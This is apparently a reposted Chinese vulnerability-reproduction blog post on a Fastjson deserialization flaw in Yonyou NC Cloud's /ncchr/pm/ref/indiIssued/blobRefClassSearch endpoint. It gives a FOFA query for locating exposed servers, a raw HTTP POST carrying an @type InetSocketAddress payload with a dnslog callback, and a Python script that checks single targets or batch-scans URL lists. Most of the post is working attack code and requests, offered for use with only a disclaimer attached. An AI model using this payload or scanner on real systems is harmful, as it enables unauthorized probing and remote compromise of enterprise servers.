用友NC Cloud的/ncchr/pm/ref/indiIssued/blobRefClassSearch接口存在反序列化漏洞,未经过身份认证的攻击者可以通过构造恶意的序列化请求在目标服务器上执行任意命令。
FOFA:
app="用友-NC-Cloud"
用友-NC-Cloud
POST /ncchr/pm/ref/indiIssued/blobRefClassSearch HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4103.116 Safari/537.36
Content-Type: application/json
{"clientParam":"{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"Test.Fastjson.dnslog.cn"}}}"}
脚本可直接后台回复 用友0728 获取
# encoding:utf-8
import time
import requests
import argparse
import ssl
import urllib3
import re
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning
# ssl._create_unverified_context:创建一个 SSL 上下文,用于处理 HTTPS 请求时不验证服务器证书的情况。
ssl._create_default_https_context = ssl._create_unverified_context
# urllib3.disable_warnings():禁用 urllib3 库的不安全请求警告,即不显示由于不安全的 HTTPS 请求而引发的警告信息。
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 打印颜色
RED = '�33[31m'
GREEN = '�33[32m'
RESET = '�33[0m'
def check_vuln(url):
url = url.strip("/")
target = url + "/ncchr/pm/ref/indiIssued/blobRefClassSearch"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Content-Type': 'application/json'
}
headers1 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=pgqapiopj5rssr6a2ejvsi69m3; b-user-id=98195658-f7ad-f233-35b2-5f6d469d240d"
}
dnslog_url = "http://dnslog.cn/getdomain.php"
try:
getdomain = requests.get(dnslog_url, headers=headers1, verify=False, timeout=20)
domain = str(getdomain.text)
data = f'{{"clientParam":"{{\"x\":{{\"@type\":\"java.net.InetSocketAddress\"{{\"address\":,\"val\":\"111111.{domain}\"}}}}}}"}}'
response = requests.post(target, headers=headers, data=data, verify=False, timeout=20)
for i in range(0, 3):
refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers=headers1, timeout=60)
time.sleep(2)
if domain in refresh.text:
print(f"{RED}[+] {url} 存在YongYouNC-Cloud-blobRefClassSearch-fastjson反序列化漏洞{RESET}")
return True
else:
print(f"{GREEN}[+] {url} 不存在YongYouNC-Cloud-blobRefClassSearch-fastjson反序列化漏洞{RESET}")
except requests.exceptions.RequestException as e:
print(f"{GREEN}[-] {url} 请求失败{RESET}")
def main():
parser = argparse.ArgumentParser(description='YongYouNC-Cloud-blobRefClassSearch-Fastjson反序列化漏洞检测')
parser.add_argument('-u', '--url', help='目标URL')
parser.add_argument('-f', '--file', help='目标URL文件')
args = parser.parse_args()
if args.url:
url = "http://" + args.url if not args.url.startswith(('http://', 'https://')) else args.url
check_vuln(url)
elif args.file:
with open(args.file, 'r') as f:
urls = f.read().splitlines()
for url in urls:
url = "http://" + url if not url.startswith(('http://', 'https://')) else url
check_vuln(url)
if __name__ == '__main__':
main()
python .YongYouNC-Cloud-blobRefClassSearch-Fastjson-Deserialization.py -f .1.txt
python .YongYouNC-Cloud-blobRefClassSearch-Fastjson-Deserialization.py -u 192.168.1.1::8088
原文始发于微信公众号(扫地僧的茶饭日常):【漏洞复现】用友NC-Cloud接口blobRefClassSearch存在FastJson反序列化漏洞 (附批量验证脚本)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论